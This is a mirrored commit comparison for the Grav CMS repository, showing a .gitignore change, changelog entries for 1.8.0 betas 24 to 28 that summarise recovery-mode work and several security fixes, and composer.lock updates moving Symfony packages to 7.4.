mirror of
https://github.com/getgrav/grav.git
synced 2025-12-16 13:19:42 +01:00
Compare commits
34 Commits
1.8.0-beta
...
15cb068f95
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
15cb068f95 | ||
|
|
d34213232b | ||
|
|
7a6b8a90d4 | ||
|
|
306f33f4ae | ||
|
|
6cb8229806 | ||
|
|
95e285efa4 | ||
|
|
80410dae13 | ||
|
|
fae70e5fc9 | ||
|
|
9d9247a32f | ||
|
|
94d85cd873 | ||
|
|
0f879bd1d4 | ||
|
|
fd828d452e | ||
|
|
63bbc1cac6 | ||
|
|
528032b11a | ||
|
|
a4c3a3af6d | ||
|
|
b7e1958a6e | ||
|
|
0c38968c58 | ||
|
|
9d11094e41 | ||
|
|
ed640a1314 | ||
|
|
e37259527d | ||
|
|
3462d94d57 | ||
|
|
19c2f8da76 | ||
|
|
a161399c84 | ||
|
|
5f120c328b | ||
|
|
db924c4a26 | ||
|
|
9fc1b42d59 | ||
|
|
c8878dfc80 | ||
|
|
779661ab8a | ||
|
|
3985638a8f | ||
|
|
a78789b291 | ||
|
|
caa127cd53 | ||
|
|
5f087d3a43 | ||
|
|
1bc6e5e13a | ||
|
|
f339bb83c5 |
1
.gitignore
vendored
1
.gitignore
vendored
@@ -51,3 +51,4 @@ system/templates/testing/*
|
||||
/user/data/recovery.window
|
||||
tmp/*
|
||||
/AGENTS.md
|
||||
/.claude
|
||||
|
||||
53
CHANGELOG.md
53
CHANGELOG.md
@@ -1,3 +1,56 @@
|
||||
# v1.8.0-beta.28
|
||||
## 12/08/2025
|
||||
|
||||
1. [](#new)
|
||||
* Added `updates.recovery_mode` config option to enable/disable recovery mode
|
||||
* Added admin blueprint toggle for recovery mode setting
|
||||
1. [](#improved)
|
||||
* Redesigned recovery mode screen with clearer messaging and modern UI
|
||||
* Added collapsible stack trace details to recovery mode screen
|
||||
* Added "Clear Recovery Mode" button that works without token authentication
|
||||
* Added "Disable Recovery Mode" option to disable via config from recovery screen
|
||||
* Added stack trace capture for exceptions in recovery context
|
||||
* Added PHP version validation from package's `defines.php` during safe upgrade
|
||||
* Added proxy methods to `Twig3CompatibilityLoader` for backwards compatibility with plugins that call loader methods directly (addPath, prependPath, getPaths, etc.)
|
||||
1. [](#bugfix)
|
||||
* Fixed recovery mode image path for Grav installations in subdirectories
|
||||
* Fixed backup restriction preventing backups on systems with Grav installed under `/var/www` - Fixes [#4002](https://github.com/getgrav/grav/issues/4002)
|
||||
* Fixed XSS false positives for legitimate HTML tags containing 'on' (caption, button, section) - Fixes [grav-plugin-admin#2472](https://github.com/getgrav/grav-plugin-admin/issues/2472)
|
||||
|
||||
# v1.8.0-beta.27
|
||||
## 11/30/2025
|
||||
|
||||
1. [](#improved)
|
||||
* Hardened Twig sandbox with expanded blacklist blocking 150+ dangerous functions and attack patterns
|
||||
* Added static regex caching in Security class for improved performance
|
||||
* Added path traversal protection to backup root configuration
|
||||
* Added validation for language codes to prevent regex injection DoS
|
||||
1. [](#bugfix)
|
||||
* Fixed path traversal vulnerability in username during account creation
|
||||
* Fixed username uniqueness bypass allowing duplicate accounts
|
||||
* Fixed arbitrary file read via `read_file()` Twig function
|
||||
* Fixed DoS via malformed cron expressions in scheduler
|
||||
* Fixed password hash exposure to frontend via JSON serialization
|
||||
* Fixed email disclosure in user edit page title
|
||||
* Fixed XSS via `isindex` tag bypass (CVE-2023-31506)
|
||||
* Fixed issue with FlexObjects caching [flex-objects#187](https://github.com/trilbymedia/grav-plugin-flex-objects/issues/187)
|
||||
|
||||
# v1.8.0-beta.26
|
||||
## 11/29/2025
|
||||
|
||||
1. [](#improved)
|
||||
* Improvements for JS minification and now pulls any broken JS out of pipeline
|
||||
* Disallow xref/xhref in SVGs
|
||||
* Upgraded to recently released Symfony 7.4
|
||||
1. [](#bugfix)
|
||||
* fix range requests for partial content in Utils::downloads() - Fixes [#3990](https://github.com/getgrav/grav-plugin-admin/issues/3990)
|
||||
|
||||
# v1.8.0-beta.25
|
||||
## 11/22/2025
|
||||
|
||||
1. [](#bugfix)
|
||||
* Fixed Twig version
|
||||
|
||||
# v1.8.0-beta.24
|
||||
## 11/20/2025
|
||||
|
||||
|
||||
343
composer.lock
generated
343
composer.lock
generated
@@ -2022,16 +2022,16 @@
|
||||
},
|
||||
{
|
||||
"name": "rhukster/dom-sanitizer",
|
||||
"version": "1.0.7",
|
||||
"version": "1.0.8",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/rhukster/dom-sanitizer.git",
|
||||
"reference": "c2a98f27ad742668b254282ccc5581871d0fb601"
|
||||
"reference": "757e4d6ac03afe9afa4f97cbef453fc5c25f0729"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/rhukster/dom-sanitizer/zipball/c2a98f27ad742668b254282ccc5581871d0fb601",
|
||||
"reference": "c2a98f27ad742668b254282ccc5581871d0fb601",
|
||||
"url": "https://api.github.com/repos/rhukster/dom-sanitizer/zipball/757e4d6ac03afe9afa4f97cbef453fc5c25f0729",
|
||||
"reference": "757e4d6ac03afe9afa4f97cbef453fc5c25f0729",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -2061,9 +2061,9 @@
|
||||
"description": "A simple but effective DOM/SVG/MathML Sanitizer for PHP 7.4+",
|
||||
"support": {
|
||||
"issues": "https://github.com/rhukster/dom-sanitizer/issues",
|
||||
"source": "https://github.com/rhukster/dom-sanitizer/tree/1.0.7"
|
||||
"source": "https://github.com/rhukster/dom-sanitizer/tree/1.0.8"
|
||||
},
|
||||
"time": "2023-11-06T16:46:48+00:00"
|
||||
"time": "2024-04-15T08:48:55+00:00"
|
||||
},
|
||||
{
|
||||
"name": "rockettheme/toolbox",
|
||||
@@ -2197,16 +2197,16 @@
|
||||
},
|
||||
{
|
||||
"name": "symfony/cache",
|
||||
"version": "v7.3.6",
|
||||
"version": "v7.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/cache.git",
|
||||
"reference": "1277a1ec61c8d93ea61b2a59738f1deb9bfb6701"
|
||||
"reference": "a7a1325a5de2e54ddb45fda002ff528162e48293"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/cache/zipball/1277a1ec61c8d93ea61b2a59738f1deb9bfb6701",
|
||||
"reference": "1277a1ec61c8d93ea61b2a59738f1deb9bfb6701",
|
||||
"url": "https://api.github.com/repos/symfony/cache/zipball/a7a1325a5de2e54ddb45fda002ff528162e48293",
|
||||
"reference": "a7a1325a5de2e54ddb45fda002ff528162e48293",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -2214,12 +2214,14 @@
|
||||
"psr/cache": "^2.0|^3.0",
|
||||
"psr/log": "^1.1|^2|^3",
|
||||
"symfony/cache-contracts": "^3.6",
|
||||
"symfony/deprecation-contracts": "^2.5|^3.0",
|
||||
"symfony/deprecation-contracts": "^2.5|^3",
|
||||
"symfony/service-contracts": "^2.5|^3",
|
||||
"symfony/var-exporter": "^6.4|^7.0"
|
||||
"symfony/var-exporter": "^6.4|^7.0|^8.0"
|
||||
},
|
||||
"conflict": {
|
||||
"doctrine/dbal": "<3.6",
|
||||
"ext-redis": "<6.1",
|
||||
"ext-relay": "<0.12.1",
|
||||
"symfony/dependency-injection": "<6.4",
|
||||
"symfony/http-kernel": "<6.4",
|
||||
"symfony/var-dumper": "<6.4"
|
||||
@@ -2234,13 +2236,13 @@
|
||||
"doctrine/dbal": "^3.6|^4",
|
||||
"predis/predis": "^1.1|^2.0",
|
||||
"psr/simple-cache": "^1.0|^2.0|^3.0",
|
||||
"symfony/clock": "^6.4|^7.0",
|
||||
"symfony/config": "^6.4|^7.0",
|
||||
"symfony/dependency-injection": "^6.4|^7.0",
|
||||
"symfony/filesystem": "^6.4|^7.0",
|
||||
"symfony/http-kernel": "^6.4|^7.0",
|
||||
"symfony/messenger": "^6.4|^7.0",
|
||||
"symfony/var-dumper": "^6.4|^7.0"
|
||||
"symfony/clock": "^6.4|^7.0|^8.0",
|
||||
"symfony/config": "^6.4|^7.0|^8.0",
|
||||
"symfony/dependency-injection": "^6.4|^7.0|^8.0",
|
||||
"symfony/filesystem": "^6.4|^7.0|^8.0",
|
||||
"symfony/http-kernel": "^6.4|^7.0|^8.0",
|
||||
"symfony/messenger": "^6.4|^7.0|^8.0",
|
||||
"symfony/var-dumper": "^6.4|^7.0|^8.0"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
@@ -2275,7 +2277,7 @@
|
||||
"psr6"
|
||||
],
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/cache/tree/v7.3.6"
|
||||
"source": "https://github.com/symfony/cache/tree/v7.4.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -2295,7 +2297,7 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-10-30T13:22:58+00:00"
|
||||
"time": "2025-11-16T10:14:42+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/cache-contracts",
|
||||
@@ -2375,16 +2377,16 @@
|
||||
},
|
||||
{
|
||||
"name": "symfony/console",
|
||||
"version": "v7.3.6",
|
||||
"version": "v7.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/console.git",
|
||||
"reference": "c28ad91448f86c5f6d9d2c70f0cf68bf135f252a"
|
||||
"reference": "0bc0f45254b99c58d45a8fbf9fb955d46cbd1bb8"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/console/zipball/c28ad91448f86c5f6d9d2c70f0cf68bf135f252a",
|
||||
"reference": "c28ad91448f86c5f6d9d2c70f0cf68bf135f252a",
|
||||
"url": "https://api.github.com/repos/symfony/console/zipball/0bc0f45254b99c58d45a8fbf9fb955d46cbd1bb8",
|
||||
"reference": "0bc0f45254b99c58d45a8fbf9fb955d46cbd1bb8",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -2392,7 +2394,7 @@
|
||||
"symfony/deprecation-contracts": "^2.5|^3",
|
||||
"symfony/polyfill-mbstring": "~1.0",
|
||||
"symfony/service-contracts": "^2.5|^3",
|
||||
"symfony/string": "^7.2"
|
||||
"symfony/string": "^7.2|^8.0"
|
||||
},
|
||||
"conflict": {
|
||||
"symfony/dependency-injection": "<6.4",
|
||||
@@ -2406,16 +2408,16 @@
|
||||
},
|
||||
"require-dev": {
|
||||
"psr/log": "^1|^2|^3",
|
||||
"symfony/config": "^6.4|^7.0",
|
||||
"symfony/dependency-injection": "^6.4|^7.0",
|
||||
"symfony/event-dispatcher": "^6.4|^7.0",
|
||||
"symfony/http-foundation": "^6.4|^7.0",
|
||||
"symfony/http-kernel": "^6.4|^7.0",
|
||||
"symfony/lock": "^6.4|^7.0",
|
||||
"symfony/messenger": "^6.4|^7.0",
|
||||
"symfony/process": "^6.4|^7.0",
|
||||
"symfony/stopwatch": "^6.4|^7.0",
|
||||
"symfony/var-dumper": "^6.4|^7.0"
|
||||
"symfony/config": "^6.4|^7.0|^8.0",
|
||||
"symfony/dependency-injection": "^6.4|^7.0|^8.0",
|
||||
"symfony/event-dispatcher": "^6.4|^7.0|^8.0",
|
||||
"symfony/http-foundation": "^6.4|^7.0|^8.0",
|
||||
"symfony/http-kernel": "^6.4|^7.0|^8.0",
|
||||
"symfony/lock": "^6.4|^7.0|^8.0",
|
||||
"symfony/messenger": "^6.4|^7.0|^8.0",
|
||||
"symfony/process": "^6.4|^7.0|^8.0",
|
||||
"symfony/stopwatch": "^6.4|^7.0|^8.0",
|
||||
"symfony/var-dumper": "^6.4|^7.0|^8.0"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
@@ -2449,7 +2451,7 @@
|
||||
"terminal"
|
||||
],
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/console/tree/v7.3.6"
|
||||
"source": "https://github.com/symfony/console/tree/v7.4.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -2469,7 +2471,7 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-11-04T01:21:42+00:00"
|
||||
"time": "2025-11-27T13:27:24+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/deprecation-contracts",
|
||||
@@ -2540,16 +2542,16 @@
|
||||
},
|
||||
{
|
||||
"name": "symfony/event-dispatcher",
|
||||
"version": "v7.3.3",
|
||||
"version": "v7.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/event-dispatcher.git",
|
||||
"reference": "b7dc69e71de420ac04bc9ab830cf3ffebba48191"
|
||||
"reference": "9dddcddff1ef974ad87b3708e4b442dc38b2261d"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/b7dc69e71de420ac04bc9ab830cf3ffebba48191",
|
||||
"reference": "b7dc69e71de420ac04bc9ab830cf3ffebba48191",
|
||||
"url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/9dddcddff1ef974ad87b3708e4b442dc38b2261d",
|
||||
"reference": "9dddcddff1ef974ad87b3708e4b442dc38b2261d",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -2566,13 +2568,14 @@
|
||||
},
|
||||
"require-dev": {
|
||||
"psr/log": "^1|^2|^3",
|
||||
"symfony/config": "^6.4|^7.0",
|
||||
"symfony/dependency-injection": "^6.4|^7.0",
|
||||
"symfony/error-handler": "^6.4|^7.0",
|
||||
"symfony/expression-language": "^6.4|^7.0",
|
||||
"symfony/http-foundation": "^6.4|^7.0",
|
||||
"symfony/config": "^6.4|^7.0|^8.0",
|
||||
"symfony/dependency-injection": "^6.4|^7.0|^8.0",
|
||||
"symfony/error-handler": "^6.4|^7.0|^8.0",
|
||||
"symfony/expression-language": "^6.4|^7.0|^8.0",
|
||||
"symfony/framework-bundle": "^6.4|^7.0|^8.0",
|
||||
"symfony/http-foundation": "^6.4|^7.0|^8.0",
|
||||
"symfony/service-contracts": "^2.5|^3",
|
||||
"symfony/stopwatch": "^6.4|^7.0"
|
||||
"symfony/stopwatch": "^6.4|^7.0|^8.0"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
@@ -2600,7 +2603,7 @@
|
||||
"description": "Provides tools that allow your application components to communicate with each other by dispatching events and listening to them",
|
||||
"homepage": "https://symfony.com",
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/event-dispatcher/tree/v7.3.3"
|
||||
"source": "https://github.com/symfony/event-dispatcher/tree/v7.4.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -2620,7 +2623,7 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-08-13T11:49:31+00:00"
|
||||
"time": "2025-10-28T09:38:46+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/event-dispatcher-contracts",
|
||||
@@ -2700,16 +2703,16 @@
|
||||
},
|
||||
{
|
||||
"name": "symfony/http-client",
|
||||
"version": "v7.3.6",
|
||||
"version": "v7.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/http-client.git",
|
||||
"reference": "3c0a55a2c8e21e30a37022801c11c7ab5a6cb2de"
|
||||
"reference": "ee5e0e0139ab506f6063a230e631bed677c650a4"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/http-client/zipball/3c0a55a2c8e21e30a37022801c11c7ab5a6cb2de",
|
||||
"reference": "3c0a55a2c8e21e30a37022801c11c7ab5a6cb2de",
|
||||
"url": "https://api.github.com/repos/symfony/http-client/zipball/ee5e0e0139ab506f6063a230e631bed677c650a4",
|
||||
"reference": "ee5e0e0139ab506f6063a230e631bed677c650a4",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -2740,12 +2743,13 @@
|
||||
"php-http/httplug": "^1.0|^2.0",
|
||||
"psr/http-client": "^1.0",
|
||||
"symfony/amphp-http-client-meta": "^1.0|^2.0",
|
||||
"symfony/dependency-injection": "^6.4|^7.0",
|
||||
"symfony/http-kernel": "^6.4|^7.0",
|
||||
"symfony/messenger": "^6.4|^7.0",
|
||||
"symfony/process": "^6.4|^7.0",
|
||||
"symfony/rate-limiter": "^6.4|^7.0",
|
||||
"symfony/stopwatch": "^6.4|^7.0"
|
||||
"symfony/cache": "^6.4|^7.0|^8.0",
|
||||
"symfony/dependency-injection": "^6.4|^7.0|^8.0",
|
||||
"symfony/http-kernel": "^6.4|^7.0|^8.0",
|
||||
"symfony/messenger": "^6.4|^7.0|^8.0",
|
||||
"symfony/process": "^6.4|^7.0|^8.0",
|
||||
"symfony/rate-limiter": "^6.4|^7.0|^8.0",
|
||||
"symfony/stopwatch": "^6.4|^7.0|^8.0"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
@@ -2776,7 +2780,7 @@
|
||||
"http"
|
||||
],
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/http-client/tree/v7.3.6"
|
||||
"source": "https://github.com/symfony/http-client/tree/v7.4.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -2796,7 +2800,7 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-11-05T17:41:46+00:00"
|
||||
"time": "2025-11-20T12:32:50+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/http-client-contracts",
|
||||
@@ -3621,16 +3625,16 @@
|
||||
},
|
||||
{
|
||||
"name": "symfony/process",
|
||||
"version": "v7.3.4",
|
||||
"version": "v7.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/process.git",
|
||||
"reference": "f24f8f316367b30810810d4eb30c543d7003ff3b"
|
||||
"reference": "7ca8dc2d0dcf4882658313aba8be5d9fd01026c8"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/process/zipball/f24f8f316367b30810810d4eb30c543d7003ff3b",
|
||||
"reference": "f24f8f316367b30810810d4eb30c543d7003ff3b",
|
||||
"url": "https://api.github.com/repos/symfony/process/zipball/7ca8dc2d0dcf4882658313aba8be5d9fd01026c8",
|
||||
"reference": "7ca8dc2d0dcf4882658313aba8be5d9fd01026c8",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -3662,7 +3666,7 @@
|
||||
"description": "Executes commands in sub-processes",
|
||||
"homepage": "https://symfony.com",
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/process/tree/v7.3.4"
|
||||
"source": "https://github.com/symfony/process/tree/v7.4.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -3682,7 +3686,7 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-09-11T10:12:26+00:00"
|
||||
"time": "2025-10-16T11:21:06+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/service-contracts",
|
||||
@@ -3773,22 +3777,23 @@
|
||||
},
|
||||
{
|
||||
"name": "symfony/string",
|
||||
"version": "v7.3.4",
|
||||
"version": "v7.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/string.git",
|
||||
"reference": "f96476035142921000338bad71e5247fbc138872"
|
||||
"reference": "d50e862cb0a0e0886f73ca1f31b865efbb795003"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/string/zipball/f96476035142921000338bad71e5247fbc138872",
|
||||
"reference": "f96476035142921000338bad71e5247fbc138872",
|
||||
"url": "https://api.github.com/repos/symfony/string/zipball/d50e862cb0a0e0886f73ca1f31b865efbb795003",
|
||||
"reference": "d50e862cb0a0e0886f73ca1f31b865efbb795003",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
"php": ">=8.2",
|
||||
"symfony/deprecation-contracts": "^2.5|^3.0",
|
||||
"symfony/polyfill-ctype": "~1.8",
|
||||
"symfony/polyfill-intl-grapheme": "~1.0",
|
||||
"symfony/polyfill-intl-grapheme": "~1.33",
|
||||
"symfony/polyfill-intl-normalizer": "~1.0",
|
||||
"symfony/polyfill-mbstring": "~1.0"
|
||||
},
|
||||
@@ -3796,11 +3801,11 @@
|
||||
"symfony/translation-contracts": "<2.5"
|
||||
},
|
||||
"require-dev": {
|
||||
"symfony/emoji": "^7.1",
|
||||
"symfony/http-client": "^6.4|^7.0",
|
||||
"symfony/intl": "^6.4|^7.0",
|
||||
"symfony/emoji": "^7.1|^8.0",
|
||||
"symfony/http-client": "^6.4|^7.0|^8.0",
|
||||
"symfony/intl": "^6.4|^7.0|^8.0",
|
||||
"symfony/translation-contracts": "^2.5|^3.0",
|
||||
"symfony/var-exporter": "^6.4|^7.0"
|
||||
"symfony/var-exporter": "^6.4|^7.0|^8.0"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
@@ -3839,7 +3844,7 @@
|
||||
"utf8"
|
||||
],
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/string/tree/v7.3.4"
|
||||
"source": "https://github.com/symfony/string/tree/v7.4.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -3859,20 +3864,20 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-09-11T14:36:48+00:00"
|
||||
"time": "2025-11-27T13:27:24+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/var-dumper",
|
||||
"version": "v7.3.5",
|
||||
"version": "v7.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/var-dumper.git",
|
||||
"reference": "476c4ae17f43a9a36650c69879dcf5b1e6ae724d"
|
||||
"reference": "41fd6c4ae28c38b294b42af6db61446594a0dece"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/var-dumper/zipball/476c4ae17f43a9a36650c69879dcf5b1e6ae724d",
|
||||
"reference": "476c4ae17f43a9a36650c69879dcf5b1e6ae724d",
|
||||
"url": "https://api.github.com/repos/symfony/var-dumper/zipball/41fd6c4ae28c38b294b42af6db61446594a0dece",
|
||||
"reference": "41fd6c4ae28c38b294b42af6db61446594a0dece",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -3884,10 +3889,10 @@
|
||||
"symfony/console": "<6.4"
|
||||
},
|
||||
"require-dev": {
|
||||
"symfony/console": "^6.4|^7.0",
|
||||
"symfony/http-kernel": "^6.4|^7.0",
|
||||
"symfony/process": "^6.4|^7.0",
|
||||
"symfony/uid": "^6.4|^7.0",
|
||||
"symfony/console": "^6.4|^7.0|^8.0",
|
||||
"symfony/http-kernel": "^6.4|^7.0|^8.0",
|
||||
"symfony/process": "^6.4|^7.0|^8.0",
|
||||
"symfony/uid": "^6.4|^7.0|^8.0",
|
||||
"twig/twig": "^3.12"
|
||||
},
|
||||
"bin": [
|
||||
@@ -3926,7 +3931,7 @@
|
||||
"dump"
|
||||
],
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/var-dumper/tree/v7.3.5"
|
||||
"source": "https://github.com/symfony/var-dumper/tree/v7.4.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -3946,20 +3951,20 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-09-27T09:00:46+00:00"
|
||||
"time": "2025-10-27T20:36:44+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/var-exporter",
|
||||
"version": "v7.3.4",
|
||||
"version": "v7.4.0",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/symfony/var-exporter.git",
|
||||
"reference": "0f020b544a30a7fe8ba972e53ee48a74c0bc87f4"
|
||||
"reference": "03a60f169c79a28513a78c967316fbc8bf17816f"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/symfony/var-exporter/zipball/0f020b544a30a7fe8ba972e53ee48a74c0bc87f4",
|
||||
"reference": "0f020b544a30a7fe8ba972e53ee48a74c0bc87f4",
|
||||
"url": "https://api.github.com/repos/symfony/var-exporter/zipball/03a60f169c79a28513a78c967316fbc8bf17816f",
|
||||
"reference": "03a60f169c79a28513a78c967316fbc8bf17816f",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -3967,9 +3972,9 @@
|
||||
"symfony/deprecation-contracts": "^2.5|^3"
|
||||
},
|
||||
"require-dev": {
|
||||
"symfony/property-access": "^6.4|^7.0",
|
||||
"symfony/serializer": "^6.4|^7.0",
|
||||
"symfony/var-dumper": "^6.4|^7.0"
|
||||
"symfony/property-access": "^6.4|^7.0|^8.0",
|
||||
"symfony/serializer": "^6.4|^7.0|^8.0",
|
||||
"symfony/var-dumper": "^6.4|^7.0|^8.0"
|
||||
},
|
||||
"type": "library",
|
||||
"autoload": {
|
||||
@@ -4007,7 +4012,7 @@
|
||||
"serialize"
|
||||
],
|
||||
"support": {
|
||||
"source": "https://github.com/symfony/var-exporter/tree/v7.3.4"
|
||||
"source": "https://github.com/symfony/var-exporter/tree/v7.4.0"
|
||||
},
|
||||
"funding": [
|
||||
{
|
||||
@@ -4027,7 +4032,7 @@
|
||||
"type": "tidelift"
|
||||
}
|
||||
],
|
||||
"time": "2025-09-11T10:12:26+00:00"
|
||||
"time": "2025-09-11T10:15:23+00:00"
|
||||
},
|
||||
{
|
||||
"name": "symfony/yaml",
|
||||
@@ -4228,12 +4233,12 @@
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/getgrav/Twig.git",
|
||||
"reference": "5a01e60e351f4c8d41765970c412d2500288339b"
|
||||
"reference": "62c58c8977110b2be0e30362f381aa30cc2d2db5"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/getgrav/Twig/zipball/5a01e60e351f4c8d41765970c412d2500288339b",
|
||||
"reference": "5a01e60e351f4c8d41765970c412d2500288339b",
|
||||
"url": "https://api.github.com/repos/getgrav/Twig/zipball/62c58c8977110b2be0e30362f381aa30cc2d2db5",
|
||||
"reference": "62c58c8977110b2be0e30362f381aa30cc2d2db5",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -4293,7 +4298,7 @@
|
||||
"support": {
|
||||
"source": "https://github.com/getgrav/Twig/tree/3.x"
|
||||
},
|
||||
"time": "2025-11-21T11:38:05+00:00"
|
||||
"time": "2025-11-21T12:04:18+00:00"
|
||||
},
|
||||
{
|
||||
"name": "willdurand/negotiation",
|
||||
@@ -4664,16 +4669,16 @@
|
||||
},
|
||||
{
|
||||
"name": "codeception/lib-web",
|
||||
"version": "2.0.0",
|
||||
"version": "2.0.1",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/Codeception/lib-web.git",
|
||||
"reference": "f901da66668ddaeb8bb9dd2b1e8b19dd83e96b99"
|
||||
"reference": "bbec12e789c3b810ec8cb86e5f46b5bfd673c441"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/Codeception/lib-web/zipball/f901da66668ddaeb8bb9dd2b1e8b19dd83e96b99",
|
||||
"reference": "f901da66668ddaeb8bb9dd2b1e8b19dd83e96b99",
|
||||
"url": "https://api.github.com/repos/Codeception/lib-web/zipball/bbec12e789c3b810ec8cb86e5f46b5bfd673c441",
|
||||
"reference": "bbec12e789c3b810ec8cb86e5f46b5bfd673c441",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -4681,7 +4686,7 @@
|
||||
"guzzlehttp/psr7": "^2.0",
|
||||
"php": "^8.2",
|
||||
"phpunit/phpunit": "^11.5 | ^12",
|
||||
"symfony/css-selector": ">=4.4.24 <8.0"
|
||||
"symfony/css-selector": ">=4.4.24 <9.0"
|
||||
},
|
||||
"conflict": {
|
||||
"codeception/codeception": "<5.0.0-alpha3"
|
||||
@@ -4711,9 +4716,9 @@
|
||||
],
|
||||
"support": {
|
||||
"issues": "https://github.com/Codeception/lib-web/issues",
|
||||
"source": "https://github.com/Codeception/lib-web/tree/2.0.0"
|
||||
"source": "https://github.com/Codeception/lib-web/tree/2.0.1"
|
||||
},
|
||||
"time": "2025-09-04T11:39:06+00:00"
|
||||
"time": "2025-11-27T21:09:09+00:00"
|
||||
},
|
||||
{
|
||||
"name": "codeception/module-asserts",
|
||||
@@ -4841,16 +4846,16 @@
|
||||
},
|
||||
{
|
||||
"name": "codeception/stub",
|
||||
"version": "4.2.0",
|
||||
"version": "4.2.1",
|
||||
"source": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/Codeception/Stub.git",
|
||||
"reference": "19014cec368cefc0579499779c451551cd288557"
|
||||
"reference": "0c573cd5c62a828dadadc41bc56f8434860bb7bb"
|
||||
},
|
||||
"dist": {
|
||||
"type": "zip",
|
||||
"url": "https://api.github.com/repos/Codeception/Stub/zipball/19014cec368cefc0579499779c451551cd288557",
|
||||
"reference": "19014cec368cefc0579499779c451551cd288557",
|
||||
"url": "https://api.github.com/repos/Codeception/Stub/zipball/0c573cd5c62a828dadadc41bc56f8434860bb7bb",
|
||||
"reference": "0c573cd5c62a828dadadc41bc56f8434860bb7bb",
|
||||
"shasum": ""
|
||||
},
|
||||
"require": {
|
||||
@@ -4876,9 +4881,9 @@
|
||||
"description": "Flexible Stub wrapper for PHPUnit's Mock Builder",
|
||||
"support": {
|
||||
"issues": "https://github.com/Codeception/Stub/issues",
|
||||
"source": "https://github.com/Codeception/Stub/tree/4.2.0"
